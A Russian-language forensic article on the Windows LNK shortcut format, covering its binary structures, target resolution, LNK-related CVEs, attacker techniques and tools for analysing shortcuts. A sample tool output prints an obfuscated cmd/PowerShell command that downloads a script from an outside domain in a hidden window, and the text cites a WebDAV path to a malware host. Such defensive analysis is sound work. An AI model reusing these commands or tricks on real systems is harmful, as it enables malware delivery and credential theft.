LNK — это гораздо больше, чем просто ярлык к файлу / forpes.ru

13.05.2026 09:01

emeritus 1 6700 Источник

Содержание

Введение
Формат
Как система находит файл
Уязвимости
Как используют злоумышленники
Как исследовать
Утилиты
Ссылки
Выводы

Введение

LNK-файлы или попросту «ярлыки» представляют собой специальные файлы Windows, предназначенные для обеспечения быстрого доступа к другим файлам и объектам системы. Как и обычный файл, они могут быть запущены простым двойным кликом. Однако за привычной функциональностью скрывается один из наиболее востребованных инструментов в арсенале современных злоумышленников. В последние годы интенсивность использования LNK-файлов в массовых вредоносных рассылках и таргетированных APT-атаках возросла многократно, что обусловлено тем, как их обрабатывает операционная система.

Основная опасность LNK-файлов заключается в возможности скрытого исполнения кода. Маскируя ярлык под легитимный документ или папку, атакующие внедряют в аргументы командной строки вызовы системных интерпретаторов, таких как PowerShell или cmd.exe. Использование обфусцированных скриптов позволяет загружать вредоносную полезную нагрузку из сети или локальных ресурсов, эффективно обходя традиционные антивирусные решения. Поскольку запуск происходит через доверенные бинарные файлы Windows, сама активность часто воспринимается защитными механизмами как легитимная.

Более того, эксплуатация специфических уязвимостей Windows позволяет реализовать сценарии Zero-Click атак, при которых вредоносный код активируется автоматически в момент простого открытия папки или отображения иконки ярлыка. Важно учитывать, что значительная часть данных, хранящихся в бинарной структуре LNK, остаётся недоступной для анализа через стандартные графические средства Windows. Это делает детальное исследование внутренних метаданных ярлыка критически важным этапом в процессе расследования компьютерных инцидентов.

Формат и количество хранимой информации отличается отличаются в зависимости от того, на что сделан LNK-файл и от версии операционной системы. LNK могут указывать не только на файлы, но и на другие компьютеры и устройства.

В большинстве случаев из LNK можно извлечь:

полный путь к файлу;
временные метки создания, модификации и последнего доступа к файлу;
информация о логическом томе, на котором расположен целевой файл;
сетевое имя компьютера, на котором расположен файл;
идентификатор пользователя, который создал файл ярлыка;
метаданные файла (тип, размер, название).

Рассмотрим, чем могут быть полезны LNK-файлы при расследовании компьютерных атак, как их исследовать и на что обратить внимание. В качестве подробной справочной информации, какие структуры и для чего есть в LNK, подготовил подробное детальное описание формата. Но, чтобы сильное не перегружать, спрятал его под спойлер.

#TLDR: Описание формата LNK

Формат

Формат LNK файлов - — бинарный, файл начинается с последовательности «4c 4c 00 0000 0000». Файлы LNK состоят из заголовка и набора опциональных структур данных, которые определяются флагами в заголовке.

SHELL_LINK_HEADER;
[LINKTARGET_IDLIST];
[LINKINFO];
[STRING_DATA] — RELATIVE_PATH, WORKING_DIR, COMMAND_LINE_ARGUMENTS, ICON_LOCATION;
*EXTRA_DATA.

SHELL_LINK_HEADER (заголовок)

Заголовок LNK-файла. Фиксированный блок размером 76 байт (0x4C), начинающийся с магических байтов:

HeaderSize — 0x0000004C;
LinkCLSID —GUID {00021401-0000-0000-C000-000000000046;
LinkFlags — битовые флаги, указывающие на наличие последующих структур (например, HasTargetIDList, HasArguments, HasIconLocation);
FileAttributesFlags — атрибуты целевого файла (READONLY, HIDDEN и т.д.);
CreationTime/AccessTime/WriteTime — временные метки в формате FILETIME;
FileSize — размер целевого файла.;
IconIndex — индекс иконки;
ShowCommand — режим окна (SW_SHOWNORMAL, SW_SHOWMAXIMIZED, SH_SHOWMINNOACTIVE);
HotKey и зарезервированные поля (10 байт).

LINKTARGET_IDLIST

Присутствует в LNK, если указан флаг HasLinkTargetIDList в поле LinkFlags заголовка.

Содержит совокупность структур IDList, указывающих на путь к целевому файлу. Описывается в так называемом формате Shell Item.

Особенность в том, что IDList могут быть различного типа: это может быть файл, том или даже объект с CLSID (например, «Мой компьютер», «Панель управления» и т.п.).

Формат сложный, конкретная структура Shell Item очень сильно зависит от типа. Слабо документирован и может меняться от версии операционной системы. Большинство информации о формате получено путём обратной разработки по имеющимся примерам файлов.

Согласно восстановленному описанию формата, выделяются следующие типы IDList:

ROOT — содержит идентификатор GUID папки, отображаемое имя зависит от операционной системы и настроек локали («Мой компьютер», «This PC» etcи т.д.);
VOLUME — содержит имя логического тома и дополнительные флаги (например, что он съёмный);
FILE — содержит имена файла или директории, а также даты в формате DOSDATETIMEи атрибуты файлового объекта;
NETWORK — содержит часть пути до сетевой папки (DOMAIN/Workgroup, Server UNC, Share UNC);
URI — содержит URI или FTP-ссылку к удаленному удалённый серверу;
Control Panel — содержит GUID одного из элементов панели управления.

Кроме LNK, Shell Item ещё много где используется и полезен для криминалистического анализа.

Самое важное, что можно получить из Shell Item в контексте LNK:

Информацию о временных метках файлов и директорий, когда последний раз открывался LNK;
Атрибуты файлов и директорий;
Размер целевого файла, когда он последний раз открывался через LNK;
Пути к сетевым папкам;
Реквизиты доступа к FTP и даты последнего обращения к ним.

LINKINFO

Присутствует в LNK, если указан флаг HasLinkInfo в LinkFlags заголовка.

Содержит информацию для получения пути к целевому файлу и позволяет его найти, если он не обнаружен по изначальному пути. Содержит тип, имя, серийный номер и букву логического тома, UNС для пути к файлу.

STRING_DATA

Для описания остальных элементов LNK используется структура STRING_DATA. Она содержит длину строки и саму строку в кодировке по умолчанию или в UNICODE. Чаще всего в UNICODE. Строка должна завершаться ненулевым байтом.

struct STRING_DATA
{    uint16_t wCountCharacters;    wchar_t String[];
}

Это структурой описываются следующие элементы LNK:

NAME_STRING — если указан флаг HasName в заголовке, содержит описание LNK файла;
RELATIVE_PATH — eсли указан флаг HasRelativePath, содержит путь к целевому файлу относительно расположения LNK;
WORKING_DIR — если указан флаг HasWorkingDir, содержит путь к рабочей директории при запуске LNK;
COMMAND_LINE_ARGUMENTS— если указан флаг HasArguments, содержит дополнительные аргументы для запуска целевого файла;
ICON_LOCATION — eсли указан флаг HasIconLocation, содержит путь к файлу с иконкой для LNK.

Иллюстрация 3. Структура STRING_DATA — Структура STRING_DATA

ICON_LOCATION использовалась для эксплуатации множества уязвимостей в ходе Zero-click атак. Для эксплуатации уязвимости необходимо было только открыть папку, в которой находился специально подготовленный LNK-файл.

А в COMMAND_LINE_ARGUMENTS злоумышленники обычно скрывают аргументы для запуска и исполнения вредоносного кода.

EXTRA_DATA

Структура LNK, которая содержит дополнительную информацию, необходимую для активации ярлыка. Состоит за набора структур, которые определяют, как LNK взаимодействует с операционной системой при открытии.

В EXTRA_DATA могут появляться следующие блоки данных:

CONSOLE_PROPS;
CONSOLE_FE_PROPS;
ENVIRONMENT_PROPS;
ICON_ENVIRONMENT_PROPS;
KNOWN_FOLDER_PROPS;
PROPERTY_STORE_PROPS;
SHIM_PROPS;
SPECIAL_FOLDER_PROPS;
TRACKER_PROPS;
VISTA_AND_ABOVE_IDLIST_PROPS.

CONSOLE_PROPS

Блок ConsoleDataBlock (0xA0000002) создаётся, если целевой файл — консольное приложение (например, cmd.exe или powershell.exe). Блок определяет размеры окна, шрифты, цветовую таблицу и запуск в полноэкранном режиме.

Злоумышленник может в этом блоке указать параметры для сокрытия окна, выставив минимальный размер окна или прозрачность.

CONSOLE_FE_PROPS

Блок ConsoleFEDataBlock (0xA0000004) в дополнение к предыдущему определяет кодовую страницу для поддержки восточноазиатских языков.

Может косвенно указать на языковую принадлежность автора (например, использование китайской локали по умолчанию).

DARWIN_PROPS

Блок DarwingDataBlock (0xA0000006) создаётся, если целевой файл был установлен через MSI. При этом в LinkFlags указывается HasDarwinID.

Хранит «Darwin ID» (Compressed Feature GUI), который позволяет Windows восстановить или доустановить приложение, если оно повреждено. Обычно такие ярлыки можно найти в меню «Пуск».

ENVIRONMENT_PROPS

Блок EnvironmentVariableDataBlock (0xA0000001) содержит строку пути в формате среды окружения (Environment Variables), которая дублирует или заменяет основной путь к целевому файлу.

Используется для обеспечения переносимости ярлыков. Windows автоматически заполняет эту структуру при создании ярлыка, в котором используются переменные окружения.

Блок должен присутствовать, если указан HasExpString в LinkFlags заголовка. Если в LinkFlags установлен флаг DisableLinkPathTracking, то данный блок игнорируется.

Может использоваться злоумышленником для обхода средств анализа. В этом случае содержимое структуры отличается от LinkInfo.

ICON_ENVIRONMENT_PROPS

Блок IconEnvironmentDataBlock (0xA0000007) используется для хранения информации об иконке. Должен присутствовать, если указан флаг HasExpIcon в заголовке. Путь к иконке использует переменные окружения по аналогии с блоком EnvironmentVariableDataBlock.

KNOWN_FOLDER_PROPS

Блок KnownFolderDataBlock (0xA000000B) хранит идентификатор GUID известной папки и его смещение в IDList.

Если в LinkFlags указан DisableKnownFolderTracking, то данный блок игнорируется при открытии ярлыка.

PROPERTY_STORE_PROPS

Структура PropertyStoreDataBlock (0xA0000009) содержит метаданные файла, сведения об авторе и системные свойства. Информация хранится в виде наборов пар «ключ-значение». Должен быть, если указан флаг EnableTargetMetadata в заголовке.

Здесь часто хранятся данные о приложении, для которого был создан ярлык. Могут оставаться артефакты от языкового пакета операционной системы (например, «Приложение»), оригинальный путь к файлу и его название.

Кроме этого, здесь может быть сохранён идентификатор пользователя SID, который создал файл ярлыка, и Volume Id.

SHIM_PROPS

Согласно описанию формата, блок ShimDataBlock (0xA0000008) используется механизмом совместимости приложений. Позволяет запускать приложение в режиме совместимости с более старой версией Windows. В действительности изменение параметров совместимости ярлыка никак не влияет на появление данного блока в EXTRA_DATA и найти ярлык, в котором есть данный блок данных, довольно проблематично.

Должен быть, если указан флаг RunWithShimLayer в заголовке.

SPECIAL_FOLDER_PROPS

Блок SpecialFolderDataBlock (0xA0000005) является устаревшим аналогом KnownFolderDataBlock. Хранит идентификатор SpecialFolderID и смещение в IDList.

Игнорируется, если указан флаг DisableKnownFolderTracking в заголовке, и не записывается в ярлык при пересохранении.

TRACKER_PROPS

Блок TrackerDataBlock (0xA0000003) используется для поиска файла, если система его не нашла по изначальному пути. Для поиска используется DLT — системная служба Windows. При создании любого файла на NTFS служба DLT присваивает ему уникальный идентификатор. Если создать ярлык на такой файл, то в EXTRA_DATA в блоке TrackerDataBlock будет хранится информация, которая содержит:

NetBIOS — имя машины, на которой расположен целевой файл;
уникальный идентификатор тома (диска);
уникальный идентификатор самого файла.

Данный блок игнорируется, если указан флаг ForceNoLinkTrack в заголовке.

VISTA_AND_ABOVE_IDLIST_PROPS

Блок VistaAndAboveIDListDataBlock (0xA000000C) используется для указания альтернативного IDList и может использоваться только на операционных системах старше Windows XP и Windows Server 2003.

В Windows XP и более ранних версиях для поиска цели использовался основной LinkTargetIDList. Однако с выходом Vista структура проводника сильно усложнилась: появились виртуальные папки, библиотеки, новые способы отображения сетевых ресурсов и глубокая интеграция с пользователями (C:\Users вместо Documents and Settings).

Старый формат IDList не всегда мог корректно передать эти новые типы объектов. Поэтому Microsoft добавила VistaAndAboveIDListDataBlock как «современную копию» списка идентификаторов. Он позволяет хранить IDList с учётом расширенных свойств и метаданных, которые недоступны в более старых ОС. Если Windows находит этот блок в EXTRA_DATA, то отдаёт ему приоритет при поиске целевого файла.

Как система находит файл

После открытия и загрузки ярлыка в оперативную память операционная система пытается найти целевой файл, на который указывает LNK. Из описания формата следует, что все структуры, кроме заголовка, являются опциональными и их наличие задаётся флагами LinkFlags в заголовке. Система учитывает имеющиеся структуры в следующем порядке:

VistaAndAboveIDListDataBlock — самый приоритетный, если есть;
LinkTargetIDList — наиболее часто встречающийся в ярлыках и основной;
LinkInfo — попытка найти файл по прямому пути;
TrackerDataBlock из EXTRA_DATA — пытается найти файл через службу DLT;
RELATIVE_PATH — поиск по относительному пути;
EnvironmentVariableDataBlock из EXTRA_DATA — развёртывание переменных окружения.

Если никакая из этих структур не помогла, то операционная система может найти целевой файл по остальным метаданным — датам создания, модификации и доступа к файлу, его размеру и сохранённым свойствам.

До Windows 10 система предлагала осуществить поиск файла, если он не найден по основному пути.

Сейчас Windows автоматически проверяет имеющиеся структуры и изменяет ярлык в соответствии с найденным целевым файлом.

Отключить данное поведение можно через редактирование групповых политик.

Политики

Administartive Templates > Start Menu and Taskbar > Do not use the search-based method when resolving shell shortcuts
Administartive Templates > Start Menu and Taskbar > Do not use the tracking-based method when resolving shell shortcuts
Administartive Templates > Windows Components > File Explorer > Do not track Shell shortcuts during roaming

Уязвимости

Формат LNK постоянно используется злоумышленниками для обхода средств защиты и запуска вредоносного кода. История эксплуатации этого формата насчитывает ряд критических уязвимостей, допускавших проведение Zero-Click атак. Фундаментальная причина их появления кроется в избыточной функциональности оболочки Windows: в стремлении обеспечить максимальное удобство пользователя система автоматически инициирует парсинг метаданных, путей и ресурсов иконок. Именно эта автоматизация превращает процесс обычного отображения объекта в Проводнике в точку входа для исполнения произвольного кода.

CVE-2010-2568

Была выявлена в ходе анализа червя Stuxnet. Суть заключалась в том, что Windows некорректно обрабатывала иконки. Если иконка ярлыка находилась внутри DLL-файла, система вызывала LoadLibrary для её извлечения.

Злоумышленник указывал в качестве ресурса иконки путь к вредоносной DLL. Как только пользователь открывал папку с таким LNK-файлом, Windows автоматически подгружала DLL, выполняя код внутри DllMain.

Заражение происходило просто при просмотре содержимого флешки или папки.

CVE-2015-0096

Майкл Хеерлен (Michael Heerklotz) обнаружил, что патч для CVE-2010-2568 был неполным.

CVE-2017-8464

Эту уязвимость часто называют «клоном Stuxnet», так как она работала почти идентично первой, но на более современных системах (вплоть до Windows 10).

Уязвимость скрывалась в обработке CShellLink::Load. Путем манипуляций с SpecialFolderID и вложенными путями можно было заставить систему снова загрузить произвольную DLL, минуя проверки, введённые в 2010 году.

CVE-2018-8345 и CVE-2018-8346

Эти две уязвимости связаны с удалённым выполнением кода (RCE).

В отличие от «иконочных» уязвимостей, здесь упор делался на переполнение буфера или некорректное управление состоянием объектов при обработке путей.

CVE-2019-1188

Заключалась в переполнении кучи в функции CInternetFolder::ParseDisplayName. Злоумышленник мог создать ярлык, который визуально вёл на безопасный файл, но из-за некорректного разбора пути в оболочке Windows выполнение перенаправлялось на вредоносный объект. Здесь использовались блоки ENVIRONMENT_PROPS для маскировки реального пути.

CVE-2019-1280

Ошибка приведения типов при разборе определённых типов LNK приводила к удалённому выполнению кода. Для эксплуатации уязвимости необходимо только открыть папку с таким LNK.

CVE-2020-0684

Переполнение буфера в Windows.storage.dll при обработке специально подготовленных LNK приводило к RCE.

CVE-2020-0729

Заключалась в попытке записи данных без выделения памяти при обработке специальным образом подготовленных LNK и могла привести к исполнению произвольного кода.

CVE-2020-1421

Заключалась в ошибке приведения типов при освобождении памяти в StructureQuery.dll и опять приводила к исполнению произвольного кода.

CVE-2024-38217

В Windows существует механизм MotW. Когда вы скачиваете файл из интернета, система добавляет к нему скрытый альтернативный поток данных (ADS) с именем :Zone.Identifier. Если вы пытаетесь запустить такой файл, Windows выдаёт предупреждение SmartScreen.

CVE-2024-38217 позволяла создать такой LNK-файл, который заставлял Windows игнорировать эту метку и запускать файл без предупреждения (LNK Stomping).

CVE-2025-9491

Уязвимость основывается на неправильном отображении свойств ярлыка пользователю. Если в поле COMMAND_ARGUMENTS добавить большое количество пробелов, то графический интерфейс Windows не сможет отобразить всё значение. Если использовать символы перевода строки, то отобразится только начальная часть.

Пользователю необходимо запустить специально подготовленный ярлык. Данная уязвимость использовалась APT-группами с 2017 года.

CVE-2025-24054

Проводник Windows пытается отобразить иконку ярлыка, даже если она расположена на удалённом SMB-сервере. При подключении по SMB Windows попытается авторизоваться и тем самым отдаёт NTML-хеш серверу, который находится под контролем злоумышленника. Получив доступ к NTLM-хешу, злоумышленник может провернуть атаку типа pass-the-hash и попытаться аутентифицироваться в сети, выдав себя за легитимного пользователя, но не имея при этом его реальных учётных данных.

CVE-2025-50154

В отличие от предыдущей уязвимости, здесь во вредоносном ярлыке используется стандартная иконка из shell32.dll. Но ярлык указывает на целевой файл, расположенный на удалённом SMB-сервере. При открытии папки с таким ярлыком Windows всё равно попытается обратиться к целевому файлу и получить встроенные в него иконки и тем самым отдаст NTLM-хеш удалённому серверу.

CVE-2026-25185

Самая последняя уязвимость на сегодняшний день. Связана с обработкой блока DARWIN_PROPS и ICON_ENVIRONMENT_PROPS в EXTRA_DATA. Если в LNK DARWIN_PROPS, то система попытается обновить иконку ярлыка по пути, указанному в ICON_ENVIRONMENT_PROPS.

Если это сетевой ресурс, то Windows попробует авторизоваться и тем самым раскроет часть аутентификационных данных.

Как используют злоумышленники

LNK-файлы могут быть опасны и без наличия уязвимостей. В таких случаях ярлык маскируется под легитимный объект и успех атаки здесь целиком зависит от того, насколько эффективно злоумышленник сможет спрятать вредоносный код за легитимными системными вызовами и визуально обмануть пользователя, заставив его совершить двойной клик.

Просто ссылка

В данном случае LNK указывает на вредоносный исполняемый файл, который запускается при открытии.

Может быть изменена иконка, чтобы файл вызывал меньше подозрений. Сам исполняемый файл может находиться в скрытой директории и не виден пользователю.

Запуск через аргументы

Ярлык указывает на легитимный файл, а основная вредоносная нагрузка скрыта в аргументах.

Чаще всего используются:

powershell.exe;
cmd.exe;
rundll32.exe;
conhost.exe;
wscript.exe;
forfiles.exe;
mshta.exe.

Может использоваться почти любой LOLBAS для запуска через LNK. Некоторые (например, mshta), могут загружать и сразу запускать файлы с удалённого сервера.

В целях лучшего сокрытия от пользователя могут быть изменены параметры консольного приложения. А в статье журнала «Хакер» приведено ещё несколько вариаций данного способа.

WebDAV

Развитием предыдущих методов является использование WebDAV для доставки вредоносной нагрузки. В этом случае вместо ссылки на целевой файл или аргументов используется ссылка вида «\\malware.com@SSL\path\dat.wsh».

Переменные окружения

Злоумышленник может указывать некорректный путь к целевому файлу и тогда Windows при открытии ярлыка попытается найти файл при помощи блоков из EXTRA_DATA (например, EnvironmentVariableDataBlock).

Средство защиты может проверять только первый путь к файлу и не найти ничего подозрительного, а пользователь откроет услужливо найденный Windows вредоносный файл.

Исследуем

LNK может содержать достаточно много информации, которая поможет при исследовании компьютерной атаки.

В некоторых случаях злоумышленники повторно используют одни и те же LNK для разных атак или создают вредоносные ярлыки на одной и той же машине.

Поэтому по оставшимся метаданным иногда есть возможность связать текущую вредоносную активность с фиксированными ранее.

Пути

Путь до целевого файла в LNK может быть указан в нескольких местах одновременно: LinkTargetIDList, LinkInfo, RELATIVE_PATH, EnvironmentVariableDataBlock и VistaAndAboveIDListDataBlock. Вполне нормально, если при перемещении файлов, эти структуры станут отличаться. Поэтому система будет использовать ту, по которой сможет найти целевой файл.

При помощи инструментов просматриваем все имеющиеся пути в LNK и проверяем, на что они указывают.

Аргументы

Если целевой файл является одним из LOLBAS, то необходимо обратить внимание на аргументы запуска COMMAND_LINE_ARGUMENTS.

Иногда злоумышленник добавляет сотни пробелов перед аргументами, чтобы их не было видно через окно свойств ярлыка. В этом случае помогают специализированные утилиты для исследования.

Иконки

Обращаем внимание на путь ICON_LOCATION и ICON_ENVIRONMENT_PROPS.

Если в нём указана ссылка на внешний ресурс, то система попытается подключиться к нему при простом открытии папки, что приведёт к утечке NTLM-хеша пользователя.

Даты

Если при расследовании компьютерного инцидента обнаружено, что целевой файл не может быть найден и остался только LNK, то можно обратить внимание на информацию о датах файла.

Идентификаторы и метаданные

В разных структурах могут оставаться следующие метаданные, по которым можно связать разные LNK с одним и тем же создателем:

Серийный номер диска из LinkInfo;
MachineID из TrackerDataBlock;
Droid volume identificator и Droid file identificator из TrackerDataBlock;
MAC-адрес из TrackerDataBlock;
SID создавшего файл пользователя из PropertyStoreDataBlock.

В некоторых случаях сохраняются специфичные для локали операционной системы данные (например, «Приложение»).

Пример получения серийного номера — Пример серийного номера в ярлыке

Настройки консоли

ConsoleDataBlock: если злоумышленник настраивал внешний вид консольного окна для своего скрипта, здесь могут сохраниться специфические настройки шрифтов или цветов.

Может остаться настройка языка, но это большая редкость.

Утилиты

Кроме стандартных графических средств Windows, существует множество утилит для анализа и исследования LNK-файлов. Самые известные и наиболее актуальные:

LECmd от Zimmerman;
lnkparse3;
lifer;
010 Editor с LNK-шаблоном;
exiftool;
yara-x.

LECmd

Известная утилита для разбора LNK от Eric Zimmerman. Скачать в скомпилированном виде можно только под Windows. Подробно декодирует значения даты/времени из метаданных и даже GUID для KnownFolderID.

Может выводить результаты в CSV, XML, HTML, JSON и в виде текста в консоль.

lnkparse3

Написана на Python3, поэтому нет проблем для установки в любые операционные системы. Устанавливается как пакет Python. Из минусов — в настоящее время поддерживает не все LinkTargetIDList и только частично декодирует PropertyStoreDataBlock. В отличие от LECmd, выводит меньше дополнительной информации по GUID и известным идентификаторам.

Пример вывода lnkparse3

DATA:
    Relative path: ..\..\..\..\..\Windows\System32\cmd.exe
    Working directory: C:\Windows\System32
    Command line arguments: /c FOR /f "tokens=4 delims=s\" %g in ('set^|findstr PSM') do cmd /c for /f "tokens=*" %j in ("%g -WindowStyle
        Hidden -c (New-Object Net.WebClient).DownloadString('https://1cbit-dev.com/equipment/modules/x64/package.html')") do %g -WindowStyle
        Hidden "%j"
    Icon location: shell32.dll

EXTRA:
    SPECIAL FOLDER LOCATION BLOCK:
        Size: 16
        Special folder id: 37
        Offset: 221
    KNOWN FOLDER LOCATION BLOCK:
        Size: 28
        Known folder id: 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7
        Offset: 221
    DISTRIBUTED LINK TRACKER BLOCK:
        Size: 96
        Length: 88
        Version: 0
        Machine identifier: desktop-i2gatfr
        Droid volume identifier: 72DEE93C-4385-4C67-B16B-CA8D5237E810
        Droid file identifier: 9DF36915-0808-11F1-8FC2-000C29D68E61
        Birth droid volume identifier: 72DEE93C-4385-4C67-B16B-CA8D5237E810
        Birth droid file identifier: 9DF36915-0808-11F1-8FC2-000C29D68E61
    METADATA PROPERTIES BLOCK:
        Size: 206
        Property store:
        -  Storage size: 137
        Version: '0x53505331'
        Format id: 46588AE2-4CBC-4338-BBFC-139326986DCE
        Serialized property values:
        -  Value size: 109
            Id: 4
            Value: S-1-5-21-213991943-1693782290-1353495511-1001
            Value type: VT_LPWSTR
        -  Storage size: 57
        Version: '0x53505331'
        Format id: 446D16B1-8DAD-4870-A748-402EA43D788C
        Serialized property values:
        -  Value size: 29
            Id: 104
            Value: null
            Value type: VT_CLSID

Может выводить информацию в JSON и в виде текста. Так как написана на Python, можно использовать классы из lnkparse для встраивания и автоматизации обработки.

lifer

Написанная полностью на C утилита. Есть сборки под Linux и Windows. Последний релиз — от декабря 2022 года. Выводит подробную информацию о ярлыке, но содержит больше технических данных.

Пример вывода lifer

{S_2.5.9 - ExtraData - SpecialFolderDataBlock}
    File Offset:       1115 bytes
    BlockSize:         16 bytes
    BlockSignature:    0xA0000005
    Folder ID:         37
    Offset:            221
{S_2.5.10 - ExtraData - TrackerDataBlock}
    File Offset:       1159 bytes
    BlockSize:         96 bytes
    BlockSignature:    0xA0000003
    Length:            88 bytes
    Version:           0
    MachineID:         desktop-i2gatfr
    Droid1:            {72DEE93C-4385-4C67-B16B-CA8D5237E810}
    UUID Version:      4 - ITU random number
    UUID Variant:      ITU variant
    Droid2:            {9DF36915-0808-11F1-8FC2-000C29D68E61}
    UUID Version:      1 - ITU time based
    UUID Variant:      ITU variant
    UUID Sequence:     194
    UUID Time:         2026-02-12 11:47:32.7931669 (UTC)
    UUID Node (MAC):   00:0C:29:D6:8E:61
    DroidBirth1:       {72DEE93C-4385-4C67-B16B-CA8D5237E810}
    UUID Version:      4 - ITU random number
    UUID Variant:      ITU variant
    DroidBirth2:       {9DF36915-0808-11F1-8FC2-000C29D68E61}
    UUID Version:      1 - ITU time based
    UUID Variant:      ITU variant
    UUID Sequence:     194
    UUID Time:         2026-02-12 11:47:32.7931669 (UTC)
    UUID Node (MAC):   00:0C:29:D6:8E:61

Может выводить результаты в csv, tsv, txt и xml. Из минусов — проблемы с отображением Unicode-путей.

010 Editor

Шаблон для 010 Editor позволяет подробно посмотреть структуру LNK. Его можно скачать из репозитория 010 Editor с готовыми шаблонами. Не декодирует GUID и даты в формате VT_FILETIME.

Но в этом редакторе очень удобно модифицировать LNK с целью экспериментов.

Exiftool

Exiftool может выдать только базовую информацию о ярлыке, но иногда этого вполне достаточно.

Из плюсов — много где есть из коробки и не надо ничего дополнительно устанавливать.

Yara-X

Начиная с версии 4.4.0, в YARA был анонсирован модуль для разбора LNK-файлов. Но по факту он был добавлен только в Rust-версию Yara-X.

При помощи Yara можно как посмотреть сам LNK-файл, так и искать подобные файлы на потоке. Модуль LNK выводит не всю информацию, а только ту, которую можно использовать для написания YARA-сигнатур.

yr dump --module lnk MALICIOUS.LNK

Теперь подобные LNK-файлы из примера выше можно искать по следующим правилам.

rule machine_id_tracking
{
    condition:
        lnk.tracker_data.machine_id == "desktop-i2gatfr" or
        lnk.drive_serial_number == 838899388
}

Следует отметить, что многими движками для выявления вредоносных файлов модуль «LNK» пока не поддерживается и не получится удобно искать похожие файлы.

Ссылки

В дополнение к указанным выше ссылкам могут быть полезны следующие:

разбор формата;
подробный разбора формата;
официальное описание формата;
описание формата на Github;
формат LNK в виде постера — только основные структуры, без EXTRA_DATA;
шаблон LNK для 010 Editor;
forensics.wiki.

Выводы

В контексте современных атак 2024–2026 годов крайне важно осознавать, что LNK-файл перестал быть просто «точкой запуска» и эволюционировал в скрытный «загрузчик первой стадии». Его основная задача — оставаться невидимым для антивирусных решений, делегируя исполнение вредоносного кода доверенным системным утилитам. В таких условиях классический статический анализ самого файла становится лишь отправной точкой исследования.

Сам формат LNK — это гораздо больше, чем просто путь к объекту. За обманчивой лаконичностью ярлыка скрывается сложная многоуровневая структура, способная хранить в себе колоссальный объём метаданных — от уникальных идентификаторов оборудования и SID пользователя до специфических слоёв совместимости в блоках ExtraData, о которых надо знать и которые нужно уметь правильно учитывать в расследовании компьютерных атак.